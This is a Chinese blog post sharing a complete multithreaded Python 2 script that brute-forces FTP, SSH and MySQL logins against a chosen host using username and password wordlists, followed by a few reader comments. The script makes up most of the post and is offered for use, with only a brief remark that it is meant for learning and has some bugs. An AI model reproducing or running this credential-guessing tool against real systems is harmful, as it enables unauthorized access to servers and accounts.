正在阅读:

[python]多线程破解ftp,ssh,mysql

11,833

小弟的博客曾共享多比较多的python暴力破解实例,但是一直没有将这些都集成在一个python脚本中,还好有朋友已经完成了此操作,就不需要我再自己去折腾一个了,常关注小弟博客的小伙伴们有福了,这就为你送上集成各种破解的python脚本。。。

使用方法如下图:

python集成破解

脚本代码如下:

#coding:utf-8
from optparse import OptionParser
import time,re,sys,threading,Queue
import ftplib,socket,MySQLdb,paramiko

global host
queue = Queue.Queue()
#********************************************
#color
#********************************************
class bcolors:
	OKBLUE = '\033[94m'
	FAIL = '\033[91m'
	ENDC = '\033[0m'
#********************************************
#FTP爆破模块
#********************************************
class FtpBurp(threading.Thread):
	"""docstring for ftp"""
	def __init__(self, queue):
		threading.Thread.__init__(self)
		self.queue = queue
	def run(self):
		while True:
			user,pwd = self.queue.get()
			try:
				ftp = ftplib.FTP()                            
				ftp.connect(host,21,timeout=10)
				ftp.login(user,pwd)                             
				print bcolors.OKBLUE+'[!]\nsuccessful---username:%s --password:%s\n' % (user,pwd)
				ftp.quit()
			except ftplib.all_errors:
				print bcolors.FAIL+'[*]'+user+'----'+pwd
			self.queue.task_done()
#********************************************
#MySql爆破模块
#********************************************
class MySql(threading.Thread):
	def __init__(self,queue):
		threading.Thread.__init__(self)
		self.queue = queue
	def run(self):
		while True:
			user,pwd = self.queue.get()
			try:
				conn = MySQLdb.connect(host=host, user=user,passwd=pwd,db='mysql',port=3306)
				print bcolors.OKBLUE+'[!]\nsuccessful---username:%s --password:%s\n' % (user,pwd)
				if conn:
					conn.close()
			except MySQLdb.Error, msg:
				print bcolors.FAIL+'[*]'+user+'----'+pwd
			self.queue.task_done()
#********************************************
#SSH爆破模块
#********************************************			
class SSH(threading.Thread):
	"""docstring for SSH"""
	def __init__(self,queue):
		threading.Thread.__init__(self)
		self.queue = queue
	def run(self):
		while True:
			user,pwd = self.queue.get()	
			try:
				ssh = paramiko.SSHClient()
				ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
		 		ssh.connect(host,22,user,pwd,timeout=5)
				print bcolors.OKBLUE+'[!]\nsuccessful---username:%s --password:%s\n' % (user,pwd)
				ssh.close()
				exit()
			except Exception,e:
				print bcolors.FAIL+'[*]'+user+'----'+pwd
			self.queue.task_done()
#********************************************
#可添加web后台爆破
#********************************************
usage = 'Usage: %prog [-t target] [-m method]'
parser = OptionParser(usage)
parser.add_option('-t', dest='target', help='host')
parser.add_option('-m', dest='method', help='ways')
parser.add_option('-u', dest='username', help='username')
parser.add_option('-U', dest='usernamedic', help='username')
parser.add_option('-P', dest='passworddic', help='password')
parser.add_option('-n', dest='threading', help='Thread')

(options, args) = parser.parse_args()

if options.target == None:
	parser.print_help()
	sys.exit(0)

if options.threading:
	n = int(options.threading)
else:
	n = 5
if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', options.target):
	host = options.target
else :
	host = socket.gethostbyname(options.target)
print 'target: %s \n' % host
if 	options.username :
	userlist[0] = options.username
	print 'username: %s' % options.username
elif options.usernamedic:
	userlist = [j.strip() for j in open(options.usernamedic)]  
	print 'username_number: %d $\n' % len(userlist)
passlist = [j.strip() for j in open(options.passworddic)]		
print 'password_number: %d $\n' % len(passlist)
if options.method == 'ftp':
	for i in range(n):
		m_ftp = FtpBurp(queue)
		m_ftp.setDaemon(True)
		m_ftp.start()
	for user in userlist:
		for pwd in passlist:
			queue.put((user,pwd))
if options.method == 'mysql':
	for i in range(n):
		m_sql = MySql(queue)
		m_sql.setDaemon(True)
		m_sql.start()
	for user in userlist:
		for pwd in passlist:
			queue.put((user,pwd))
			
if options.method == 'ssh':
	for i in range(n):
		m_ssh = SSH(queue)
		m_ssh.setDaemon(True)
		m_ssh.start()
	for user in userlist:
		for pwd in passlist:
			queue.put((user,pwd))
queue.join()

经测试,代码在windows下面有点问题,估计linux下面也有点小问题,共享出来仅为让小伙伴们学习一下集成多模块破解的思路而已。

脚本转自:http://bbs.isilic.org/thread-6943-1-1.html

目前有:2条访客评论,博主回复1

  1. 渣渣
    2015-04-14 19:09

    大牛,我又来了。大牛博客好多福利啊,小弟学习了好多。希望大牛博客越来越好

  2. 文兄
    2015-07-26 12:59

    卧槽!!!!!!!!!大神 给你跪了! 我自己在写py 请问有什么好的建议吗 还是有教程推荐一下

    • 独自等待
      2015-07-27 14:11

      多看书,常练习就行了,其实我也才学没有多久。

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌